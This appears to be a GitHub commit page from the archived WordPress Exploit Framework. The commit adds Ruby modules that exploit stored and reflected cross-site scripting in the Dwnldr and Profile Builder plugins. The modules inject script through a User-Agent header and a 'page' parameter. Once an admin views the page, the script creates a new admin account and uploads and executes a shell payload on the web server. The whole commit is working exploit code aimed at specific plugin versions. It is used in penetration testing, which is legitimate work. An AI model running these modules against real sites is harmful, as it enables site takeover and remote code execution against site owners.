This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 3 files changed +99
-0
lines changed Expand file tree Collapse file tree 3 files changed +99
-0
lines changed Original file line number Diff line number Diff line change @@ -11,6 +11,12 @@ module Wpxf::WordPress::Xss
11
11
def initialize
12
12
super
13
13
@success = false
14
+ @info [ :desc ] = 'This module stores a script which will be executed when ' \
15
+ 'an admin user visits the vulnerable page. Execution of the script ' \
16
+ 'will create a new admin user which will be used to upload ' \
17
+ 'and execute the selected payload in the context of the ' \
18
+ 'web server.'
19
+
14
20
register_options ( [
15
21
StringOption . new (
16
22
name : 'xss_host' ,
Original file line number Diff line number Diff line change
1
+ class Wpxf ::Exploit ::DwnldrXssShellUpload < Wpxf ::Module
2
+ include Wpxf ::WordPress ::Xss
3
+
4
+ def initialize
5
+ super
6
+
7
+ update_info (
8
+ name : 'Dwnldr 1.0 XSS Shell Upload' ,
9
+ author : [
10
+ 'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11
+ ] ,
12
+ references : [
13
+ [ 'URL' , 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure' ]
14
+ ] ,
15
+ date : 'Jul 18 2016'
16
+ )
17
+
18
+ register_options ( [
19
+ StringOption . new (
20
+ name : 'attachment_link' ,
21
+ desc : 'The address of a valid attachment download link' ,
22
+ required : true
23
+ )
24
+ ] )
25
+ end
26
+
27
+ def check
28
+ check_plugin_version_from_changelog ( 'dwnldr' , 'readme.txt' , '1.01' )
29
+ end
30
+
31
+ def run
32
+ return false unless super
33
+
34
+ emit_info 'Storing script...'
35
+ res = execute_get_request (
36
+ url : datastore [ 'attachment_link' ] ,
37
+ headers : { 'User-Agent' => "\" ><script>#{ xss_ascii_encoded_include_script } </script><\" " }
38
+ )
39
+
40
+ if res . nil?
41
+ emit_error 'No response from the target'
42
+ return false
43
+ end
44
+
45
+ if res . code != 200
46
+ emit_error "Server responded with code #{ res . code } "
47
+ return false
48
+ end
49
+
50
+ emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
51
+ start_http_server
52
+
53
+ xss_shell_success
54
+ end
55
+ end
Original file line number Diff line number Diff line change
1
+ class Wpxf ::Exploit ::ProfileBuilderReflectedXssShellUpload < Wpxf ::Module
2
+ include Wpxf ::WordPress ::StagedReflectedXss
3
+
4
+ def initialize
5
+ super
6
+
7
+ update_info (
8
+ name : 'Profile Builder <= 2.4.0 Reflected XSS Shell Upload' ,
9
+ author : [
10
+ 'Yorick Koster' , # Disclosure
11
+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12
+ ] ,
13
+ references : [
14
+ [ 'WPVDB' , '8547' ] ,
15
+ [ 'URL' , 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_profile_builder_wordpress_plugin.html' ]
16
+ ] ,
17
+ date : 'Jul 13 2016'
18
+ )
19
+ end
20
+
21
+ def check
22
+ check_plugin_version_from_readme ( 'profile-builder' , '2.4.1' )
23
+ end
24
+
25
+ def vulnerable_url
26
+ normalize_uri ( wordpress_url_admin , 'users.php' )
27
+ end
28
+
29
+ def initial_script
30
+ %|<html><head></head><body><script>
31
+ #{ js_post }
32
+ post('#{ vulnerable_url } ?page=unconfirmed_emails', {
33
+ page: '"><script>#{ xss_ascii_encoded_include_script } <\\ /script>'
34
+ });
35
+ </script></body></html>
36
+ |
37
+ end
38
+ end
You can’t perform that action at this time.
0 commit comments